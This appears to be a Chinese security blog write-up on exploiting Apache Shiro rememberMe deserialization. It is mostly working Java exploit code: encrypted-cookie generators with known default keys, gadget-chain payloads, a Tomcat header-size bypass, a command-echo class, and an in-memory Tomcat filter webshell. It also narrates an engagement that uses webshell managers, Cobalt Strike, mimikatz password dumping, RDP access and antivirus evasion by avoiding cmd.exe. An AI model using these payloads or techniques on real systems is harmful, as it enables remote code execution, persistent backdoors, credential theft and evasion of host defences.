之前有段时间,被shiro困扰的反序列化原理困扰住了,在后面看了很多师傅的文章,大致能复现下最原始的shiro反序列化攻击回显方式;也碰到了有一个某杀软的shiro反序列化,执行不了命令,这里简单记录下。
先搭建个环境,这里不再赘述了,然后扒下来rememberMe参数,使用shiro_attack工具利用(响应包中$中间的即为命令执行的base64后的结果)
想看到rememberMe里的代码到底是什么样的,使用shiro解密工具:(笔者简单的改进了一下水泡泡师傅的工具,整合到poc2jar里了,水泡泡师傅nb!) https://github.com/r00tuser111/SerializationDumper-Shiro
代码解密出来为bytecodes.class,拖到idea查看
基本就是这样,获取headers里的c参数base64解密,然后执行该参数的命令
把class里的代码复制出来变成java格式的,命名为Test,使用以下代码获取rememberMe参数
Exp.java
package org.sec;import java.net.InetSocketAddress;
import java.net.Proxy;
import okhttp3.*;
import org.apache.shiro.codec.Base64;
import org.apache.shiro.crypto.AesCipherService;
import org.apache.shiro.crypto.CipherService;
import org.apache.shiro.subject.SimplePrincipalCollection;
import org.apache.shiro.util.ByteSource;
import java.net.URI;
import java.nio.file.Files;
import java.nio.file.Paths;
public class Exp {
public static void main(String[] args) {
try {
SimplePrincipalCollection sc = new SimplePrincipalCollection();
byte[] scBytes = Payload.serialize(sc);
byte[] keyBytes = Base64.decode("kPH+bIxk5D2deZiIxcaaaA==");
CipherService cipherService = new AesCipherService();
ByteSource byteSource = cipherService.encrypt(scBytes, keyBytes);
byte[] value = byteSource.getBytes();
String checkKeyCookie = "rememberMe=" + Base64.encodeToString(value);
Object loaderObj = Payload.getPayload("Test");
byte[] loaderBytes = Payload.serialize(loaderObj);
ByteSource loaderSource = cipherService.encrypt(loaderBytes, keyBytes);
byte[] loaderValue = loaderSource.getBytes();
String loaderCookie = "rememberMe=" + Base64.encodeToString(loaderValue);
System.out.println(loaderCookie); // 输出rememberMe参数
System.out.println("payload length: " + loaderCookie.length());
} catch (Exception e) {
e.printStackTrace();
}
}
}
这里还需要一个Payload.java文件(CommonsCollections11利用),放到后面的附件了
获取到了rememberMe参数,看到长度为8651(这里是个小坑点,由于长度问题,是超过了tomcat默认限制长度的,后面说)
rememberMe放到请求包里:
直接报错400,去看tomcat日志
很明显,是请求头过大导致400的报错
可以直接去修改默认的tomcat请求限制/conf/server.xml里
maxHttpHeaderSize="40960"
这样就可以在本地请求超过长度的rememberMe不受限制,但是实战碰到的基本都是默认状态下的长度,所以看后面
突破请求头长度限制
TomcatHeaderSize.java
package org.sec;import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
@SuppressWarnings("all")
public class TomcatHeaderSize extends AbstractTranslet {
static {
try {
java.lang.reflect.Field contextField = org.apache.catalina.core.StandardContext.class.getDeclaredField("context");
java.lang.reflect.Field serviceField = org.apache.catalina.core.ApplicationContext.class.getDeclaredField("service");
java.lang.reflect.Field requestField = org.apache.coyote.RequestInfo.class.getDeclaredField("req");
java.lang.reflect.Field headerSizeField = org.apache.coyote.http11.Http11InputBuffer.class.getDeclaredField("headerBufferSize");
java.lang.reflect.Method getHandlerMethod = org.apache.coyote.AbstractProtocol.class.getDeclaredMethod("getHandler",null);
contextField.setAccessible(true);
headerSizeField.setAccessible(true);
serviceField.setAccessible(true);
requestField.setAccessible(true);
getHandlerMethod.setAccessible(true);
org.apache.catalina.loader.WebappClassLoaderBase webappClassLoaderBase =
(org.apache.catalina.loader.WebappClassLoaderBase) Thread.currentThread().getContextClassLoader();
org.apache.catalina.core.ApplicationContext applicationContext = (org.apache.catalina.core.ApplicationContext) contextField.get(webappClassLoaderBase.getResources().getContext());
org.apache.catalina.core.StandardService standardService = (org.apache.catalina.core.StandardService) serviceField.get(applicationContext);
org.apache.catalina.connector.Connector[] connectors = standardService.findConnectors();
for (int i = 0; i < connectors.length; i++) {
if (4 == connectors[i].getScheme().length()) {
org.apache.coyote.ProtocolHandler protocolHandler = connectors[i].getProtocolHandler();
if (protocolHandler instanceof org.apache.coyote.http11.AbstractHttp11Protocol) {
Class[] classes = org.apache.coyote.AbstractProtocol.class.getDeclaredClasses();
for (int j = 0; j < classes.length; j++) {
// org.apache.coyote.AbstractProtocol$ConnectionHandler
if (52 == (classes[j].getName().length()) || 60 == (classes[j].getName().length())) {
java.lang.reflect.Field globalField = classes[j].getDeclaredField("global");
java.lang.reflect.Field processorsField = org.apache.coyote.RequestGroupInfo.class.getDeclaredField("processors");
globalField.setAccessible(true);
processorsField.setAccessible(true);
org.apache.coyote.RequestGroupInfo requestGroupInfo = (org.apache.coyote.RequestGroupInfo) globalField.get(getHandlerMethod.invoke(protocolHandler, null));
java.util.List list = (java.util.List) processorsField.get(requestGroupInfo);
for (int k = 0; k < list.size(); k++) {
org.apache.coyote.Request tempRequest = (org.apache.coyote.Request) requestField.get(list.get(k));
// 10000 为修改后的 headersize
headerSizeField.set(tempRequest.getInputBuffer(),100000);
}
}
}
// 10000 为修改后的 headersize
((org.apache.coyote.http11.AbstractHttp11Protocol) protocolHandler).setMaxHttpHeaderSize(100000);
}
}
}
} catch (Exception e) {
}
}
@Override
public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {
}
@Override
public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {
}
}
还是Exp.java代码,进行一个修改
Object loaderObj = Payload.getPayload("Test");
改为
Object loaderObj = Payload.getPayload("TomcatHeaderSize");
继续获取rememberMe参数
长度为7243(默认限制长度是8192) 放到请求里
这一步是为了突破tomcat的请求头限制,修改请求头的默认长度 再将刚刚8651的rememberMe进行请求:
d2hvYW1p为whoami的base64编码版
响应里是命令回显的base64编码版
这里还遇到了一个CommonsBeanutils1_192的shiro环境,主要区分开利用链的代码
Exp2.java
package org.sec;import javassist.NotFoundException;
import org.apache.shiro.crypto.AesCipherService;
import org.apache.shiro.util.ByteSource;
import javassist.ClassPool;
import javassist.CtClass;
public class Exp2 {
public static void main(String[] args) throws NotFoundException {
ClassPool pool = ClassPool.getDefault();
CtClass clazz = pool.get(org.sec.FooOYZFjMVJc3.class.getName());
byte[] payloads = new byte[0];
try {
// CommonsBeanutils1Shirotest 为CommonsBeanutils1 192生成payload,测试成功
payloads = new CommonsBeanutils1Shirotest().getPayload(clazz.toBytecode());
} catch (Exception e) {
e.printStackTrace();
}
AesCipherService aes = new AesCipherService();
byte[] key = java.util.Base64.getDecoder().decode("4AvVhmFLUs0KTA3Kprsdag==");
ByteSource ciphertext = aes.encrypt(payloads, key);
System.out.printf(ciphertext.toString());
}
}
以下代码来自于 https://github.com/SummerSec/ShiroAttack2
CommonsBeanutils1Shirotest.java
package org.sec;import com.summersec.attack.deser.util.StandardExecutorClassLoader;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import java.io.ByteArrayOutputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.math.BigInteger;
import java.util.Comparator;
import java.util.PriorityQueue;
// CommonsBeanutils1 192版本的 的payload生成
public class CommonsBeanutils1Shirotest {
public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception {
Field field = obj.getClass().getDeclaredField(fieldName);
field.setAccessible(true);
field.set(obj, value);
}
public byte[] getPayload(byte[] clazzBytes) throws Exception {
TemplatesImpl obj = new TemplatesImpl();
setFieldValue(obj, "_bytecodes", new byte[][]{clazzBytes});
setFieldValue(obj, "_name", "HelloTemplatesImpl");
setFieldValue(obj, "_tfactory", new TransformerFactoryImpl());
StandardExecutorClassLoader classLoader = new StandardExecutorClassLoader("1.9.2");
Class u = classLoader.loadClass("org.apache.commons.beanutils.BeanComparator");
Object comparator = u.getDeclaredConstructor(String.class).newInstance("lowestSetBit");
final PriorityQueue<Object> queue = new PriorityQueue(2, (Comparator<? super Object>)comparator);
// stub data for replacement later
queue.add(new BigInteger("1"));
queue.add(new BigInteger("1"));
setFieldValue(comparator, "property", "outputProperties");
setFieldValue(queue, "queue", new Object[]{obj, obj});
// ==================
// 生成序列化字符串
ByteArrayOutputStream barr = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(barr);
oos.writeObject(queue);
oos.close();
return barr.toByteArray();
}
}
这里要把pom.xml的commons-beanutils调成1.9.2版本,否则会失败
运行Exp2.java
即可成功
可能有很多人问,像上文那样复现有什么意义,事实上,当我们研究了漏洞具体怎么去复现的,就可以在一定情况下去绕过防护了,所以写一下这个案例
遇到同事发来一个shiro,说是执行了一次命令,后面就执行不了了,然后用工具注入了内存马,但是内存马也执行不了命令
拿到后,我一开始认为是工具问题,我拿了工具跑
和同事说的一模一样,我寻思还是工具问题,所以我拿xray跑了一下,不出意外,跑出来了key和gadget
那不就有了?我直接testcmd不就执行命令了?我冷笑一声
不出意外的话,出意外了
直接不行,别说执行命令了,连复现xray的请求包也不行 响应特别慢,以至于没有状态码 再扫一次呢,没了……
牛逼!机器学习人工智能WAF???
后面我以为是payload的原因,试了4ra1n大佬的shortpayload,试了增加一些无意义的字符,也不行
错误的key同样的利用链不拦截,我又改了正确的key进行尝试,发现还不行,猜测可能是主机防护hook了cmd.exe
同事之前直接注入了一个哥斯拉内存马,没有直接执行命令
哥斯拉链接界面如下:
后面我觉得可以通过不同webshell管理工具来,所以让传了个冰蝎,尝试了冰蝎代码,歇逼,代理挂不上,然后看到了cs模块,那我直接cs上线呢
冰蝎cs上线
上线成功!
但是还是执行不了命令 一执行命令就丢失了会话
后面尝试mimikatz读取密码(cs是采用反射dll来加载pe程序,从而在执行一些敏感操作的时候能起到一定的bypass作用,例如mimikatz抓密码等操作。)
成功了!
然后再次执行命令
还是和之前一样丢失了会话
后面17:47的时候,突然systeminfo成功了!
后面再去执行whoami、net user又可以了,说明不拦截了,但是shiro还是不行
换个思路,我们现在有密码了,直接去连他的3389 直接查端口
直接连60089端口,能连上,直接有一个调用cmd的弹窗,图找不到了,凑合一下
翻了一下,看到了这个……
后面退出杀软,执行命令什么都是正常的了
也可以正常挂上代理,那么就可以挂上代理以后,扫当前主机的内网ip端口,从而找到rdp端口进行登录
cmd.exe
拦截的规则,可以怎么绕过?
直接解密rememberMe的参数将源码复制为Test.java
,这里可能要实现两个接口
@Override
public void transform(DOM document, SerializationHandler[] handlers) {
}
@Override
public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) {
}
修改cmd.exe
为c:/windows/system32/tasklist
,进行编码
达到不调用cmd.exe
的目的
Exp.java
package org.sec;import java.net.InetSocketAddress;
import java.net.Proxy;
import javax.crypto.Cipher;
import okhttp3.*;
import org.apache.shiro.codec.Base64;
import org.apache.shiro.crypto.AesCipherService;
import org.apache.shiro.crypto.CipherService;
import org.apache.shiro.crypto.OperationMode;
import org.apache.shiro.subject.SimplePrincipalCollection;
import org.apache.shiro.util.ByteSource;
import java.net.URI;
import java.nio.file.Files;
import java.nio.file.Paths;
public class Exp {
public static void main(String[] args) {
try {
SimplePrincipalCollection sc = new SimplePrincipalCollection();
byte[] scBytes = Payload.serialize(sc);
byte[] keyBytes = Base64.decode("4AvVhmFLUs0KTA3Kprsdag==");
CipherService cipherService = new AesCipherService();
Object loaderObj = Payload.getPayload("Test"); //这里为定义的文件名,这里是Test.java,注意大小写
byte[] loaderBytes = Payload.serialize(loaderObj);
ByteSource loaderSource = cipherService.encrypt(loaderBytes, keyBytes);
byte[] loaderValue = loaderSource.getBytes();
String loaderCookie = "rememberMe=" + Base64.encodeToString(loaderValue);
System.out.println(loaderCookie); // 输出rememberMe参数
System.out.println("payload length: " + loaderCookie.length());
} catch (Exception e) {
e.printStackTrace();
}
}
}
Test.java完整代码如下:
Test.java
package org.sec;
import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
import java.lang.reflect.Field;
import java.util.List;
import java.util.Scanner;
public class Test extends AbstractTranslet {
private static void writeBody(Object var0, byte[] var1) throws Exception {
Object var2;
Class var3;
try {
var3 = Class.forName("org.apache.tomcat.util.buf.ByteChunk");
var2 = var3.newInstance();
var3.getDeclaredMethod("setBytes", new Class[]{byte[].class, Integer.TYPE, Integer.TYPE}).invoke(var2, new Object[]{var1, new Integer(0), new Integer(var1.length)});
var0.getClass().getMethod("doWrite", new Class[]{var3}).invoke(var0, new Object[]{var2});
} catch (ClassNotFoundException var5) {
} catch (NoSuchMethodException var6) {
}
}
private static Object getFV(Object var0, String var1) throws Exception {
Field var2 = null;
Class var3 = var0.getClass();
while(var3 != Object.class) {
try {
var2 = var3.getDeclaredField(var1);
break; } catch (NoSuchFieldException var5) {
var3 = var3.getSuperclass();
}
}
if(var2 == null) {
throw new NoSuchFieldException(var1);
} else {
var2.setAccessible(true);
return var2.get(var0);
}
}
public Test() throws Exception {
boolean var4 = false;
Thread[] var5 = (Thread[])getFV(Thread.currentThread().getThreadGroup(), "threads");
for(int var6 = 0; var6 < var5.length; ++var6) {
Thread var7 = var5[var6];
if(var7 != null) {
String var3 = var7.getName();
if(!var3.contains("exec") && var3.contains("http")) {
Object var1 = getFV(var7, "target");
if(var1 instanceof Runnable) {
try {
var1 = getFV(getFV(getFV(var1, "this$0"), "handler"), "global");
} catch (Exception var13) {
continue;
}
List var9 = (List)getFV(var1, "processors");
for(int var10 = 0; var10 < var9.size(); ++var10) {
Object var11 = var9.get(var10);
var1 = getFV(var11, "req");
Object var2 = var1.getClass().getMethod("getResponse", new Class[0]).invoke(var1, new Object[0]);
var3 = (String)var1.getClass().getMethod("getHeader", new Class[]{String.class}).invoke(var1, new Object[]{"Testcmd"});
if(var3 != null && !var3.isEmpty()) {
var2.getClass().getMethod("setStatus", new Class[]{Integer.TYPE}).invoke(var2, new Object[]{new Integer(200)});
String[] var12 = System.getProperty("os.name").toLowerCase().contains("window")?new String[]{"c:/windows/system32/tasklist.exe"}:new String[]{"/bin/sh", "-c", var3};
writeBody(var2, (new Scanner((new ProcessBuilder(var12)).start().getInputStream())).useDelimiter("\\A").next().getBytes());
var4 = true;
}
if((var3 == null || var3.isEmpty()) && var4) {
writeBody(var2, System.getProperties().toString().getBytes());
}
}
} } } }
}
@Override
public void transform(DOM document, SerializationHandler[] handlers) {
}
@Override
public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) {
}}
这里还需要传入Testcmd请求头参数生成payload后,放到请求包里:
达到命令执行效果,调用非cmd.exe
、powershell.exe
这些被杀软监控的进程即可
以下不重要
顺带一提,这里的CipherService cipherService = new AesCipherService();
是shiro的加密,可以根据pom.xml的版本来进行改变,当shiro版本超过1.4.2的时候,加密方式就为GCM了
<dependency>
<groupId>org.apache.shiro</groupId>
<artifactId>shiro-core</artifactId>
<version>1.4.2</version>
</dependency>
gcm生成payload
gcm解密成功
Payload.java
package org.sec;import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.apache.commons.beanutils.BeanComparator;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.net.URI;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.PriorityQueue;
// CommonsCollections11 的payload
public class Payload {
public static Object getPayload(String name) {
try {
byte[] code = getBytesCode(name);
TemplatesImpl templates = new TemplatesImpl();
setFieldValue(templates, "_bytecodes", new byte[][]{code});
setFieldValue(templates, "_name", "HelloTemplatesImpl");
setFieldValue(templates, "_tfactory", new TransformerFactoryImpl());
final BeanComparator comparator = new BeanComparator(null, String.CASE_INSENSITIVE_ORDER);
final PriorityQueue<Object> queue = new PriorityQueue<Object>(2, comparator);
queue.add("1");
queue.add("1");
setFieldValue(comparator, "property", "outputProperties");
setFieldValue(queue, "queue", new Object[]{templates, templates});
return queue;
} catch (Exception e) {
e.printStackTrace();
}
return null;
}
public static void setFieldValue(Object object, String fieldName, Object value) {
try {
Field field = object.getClass().getDeclaredField(fieldName);
field.setAccessible(true);
field.set(object, value);
} catch (Exception e) {
e.printStackTrace();
}
}
public static Object getFieldValue(Object object, String fieldName) {
try {
Field field = object.getClass().getDeclaredField(fieldName);
field.setAccessible(true);
return field.get(object);
} catch (Exception e) {
e.printStackTrace();
return null;
}
}
public static byte[] serialize(Object o) {
try {
ByteArrayOutputStream aos = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(aos);
oos.writeObject(o);
oos.flush();
oos.close();
return aos.toByteArray();
} catch (Exception e) {
e.printStackTrace();
}
return null;
}
public static void deserialize(byte[] bytes) {
try {
ByteArrayInputStream ais = new ByteArrayInputStream(bytes);
ObjectInputStream ois = new ObjectInputStream(ais);
ois.readObject();
ois.close();
} catch (Exception e) {
e.printStackTrace();
}
}
public static byte[] getBytesCode(String name) {
try {
URI uri = Payload.class.getResource(name+".class").toURI();
return Files.readAllBytes(Paths.get(uri));
} catch (Exception e) {
e.printStackTrace();
}
return null;
}
}
TomcatMemShellInject.java
package org.sec;import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
import org.apache.catalina.core.StandardContext;
import javax.servlet.*;
import javax.servlet.http.HttpServletRequest;
import java.io.IOException;
import java.lang.reflect.Field;
import java.lang.reflect.Method;
import java.util.Map;
public class TomcatMemShellInject extends AbstractTranslet implements Filter{
private final static String filterUrlPattern = "/*";
private final static String filterName = "evilFilter";
static {
try {
Class c = Class.forName("org.apache.catalina.core.StandardContext");
org.apache.catalina.loader.WebappClassLoaderBase webappClassLoaderBase =
(org.apache.catalina.loader.WebappClassLoaderBase) Thread.currentThread().getContextClassLoader();
StandardContext standardContext = (StandardContext) webappClassLoaderBase.getResources().getContext();
ServletContext servletContext = standardContext.getServletContext();
Field Configs = Class.forName("org.apache.catalina.core.StandardContext").getDeclaredField("filterConfigs");
Configs.setAccessible(true);
Map filterConfigs = (Map) Configs.get(standardContext);
if (filterConfigs.get(filterName) == null){
java.lang.reflect.Field stateField = org.apache.catalina.util.LifecycleBase.class
.getDeclaredField("state");
stateField.setAccessible(true);
stateField.set(standardContext, org.apache.catalina.LifecycleState.STARTING_PREP);
Filter MemShell = new TomcatMemShellInject();
javax.servlet.FilterRegistration.Dynamic filterRegistration = servletContext
.addFilter(filterName, MemShell);
filterRegistration.setInitParameter("encoding", "utf-8");
filterRegistration.setAsyncSupported(false);
filterRegistration
.addMappingForUrlPatterns(java.util.EnumSet.of(javax.servlet.DispatcherType.REQUEST), false,
new String[]{filterUrlPattern});
if (stateField != null) {
stateField.set(standardContext, org.apache.catalina.LifecycleState.STARTED);
}
if (standardContext != null){
Method filterStartMethod = org.apache.catalina.core.StandardContext.class
.getMethod("filterStart");
filterStartMethod.setAccessible(true);
filterStartMethod.invoke(standardContext, null);
Class ccc = null;
try {
ccc = Class.forName("org.apache.tomcat.util.descriptor.web.FilterMap");
} catch (Throwable t){}
if (ccc == null) {
try {
ccc = Class.forName("org.apache.catalina.deploy.FilterMap");
} catch (Throwable t){}
}
Method m = c.getMethod("findFilterMaps");
Object[] filterMaps = (Object[]) m.invoke(standardContext);
Object[] tmpFilterMaps = new Object[filterMaps.length];
int index = 1;
for (int i = 0; i < filterMaps.length; i++) {
Object o = filterMaps[i];
m = ccc.getMethod("getFilterName");
String name = (String) m.invoke(o);
if (name.equalsIgnoreCase(filterName)) {
tmpFilterMaps[0] = o;
} else {
tmpFilterMaps[index++] = filterMaps[i];
}
}
for (int i = 0; i < filterMaps.length; i++) {
filterMaps[i] = tmpFilterMaps[i];
}
}
}
} catch (Exception e){
e.printStackTrace();
}
}
@Override
public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {
}
@Override
public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {
}
@Override
public void init(FilterConfig filterConfig) throws ServletException {
}
@Override
public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException, ServletException {
HttpServletRequest req = (HttpServletRequest) servletRequest;
System.out.println("Do Filter ......");
String cmd;
String cmdParamName = "cmd";
if ((cmd = servletRequest.getParameter(cmdParamName)) != null) {
Process process = Runtime.getRuntime().exec(cmd);
java.io.BufferedReader bufferedReader = new java.io.BufferedReader(
new java.io.InputStreamReader(process.getInputStream()));
StringBuilder stringBuilder = new StringBuilder();
String line;
while ((line = bufferedReader.readLine()) != null) {
stringBuilder.append(line + '\n');
}
servletResponse.getOutputStream().write(stringBuilder.toString().getBytes());
servletResponse.getOutputStream().flush();
servletResponse.getOutputStream().close();
return;
}
filterChain.doFilter(servletRequest, servletResponse);
}
@Override
public void destroy() {
}
}
也可以通过突破header长度来进行注入TomcatMemShellInject.java 把cmd改成了cmd2,区分开
https://github.com/SummerSec/ShiroAttack2 [shiro攻击工具,不受限于rememberMe长度问题]
https://github.com/r00tuser111/SerializationDumper-Shiro [rememberMe解密工具]
https://mp.weixin.qq.com/s/whOYVsI-AkvUJTeeDWL5dA
https://mp.weixin.qq.com/s/WDmj4-2lB-hlf_Fm_wDiOg
https://mp.weixin.qq.com/s?__biz=MzAwNzk0NTkxNw==&mid=2247484622&idx=1&sn=8ec625711dcf87f0b6abe67483f0534d&chksm=9b772f1cac00a60aa465a54bd00751c563f2125c78cc1bbca35c760236e4f67d00671de4496c&scene=21&sessionid=1599445076&key=acec999da27edd25eccc957924f4afa7028aec867e42231763ca219c4505e3d6435f346a8463866e7dc0c19a39a3e0600c538e7202ced833a90e6b7910c12b1859ceeaf33f7222bbee4c2acf2953d8dadf304092bebf5d852fbef62087d185eeae0dc9ee37dcd1e02065ea59869b19c78590fb273ffc696c8a9e08793220b82a&ascene=1&uin=NzUwNTE0NzE4&devicetype=Windows%2010%20x64&version=62090529&lang=zh_CN&exportkey=A/H1km1FzCFyhVMsg9e0Izc=&pass_ticket=q0CeoTXZ1bV6z466jICgYA%20yITdSiD5C8i/cAgax7OYgTP7U4OVpwP0Xt5Mdan2e&wx_header=0#wechat_redirect
http://wjlshare.com/archives/1545
https://paper.seebug.org/shiro-rememberme-1-2-4/
回复"shiro"至公众号,获取shiro环境以及生成rememberMe工具等。推荐本地试试。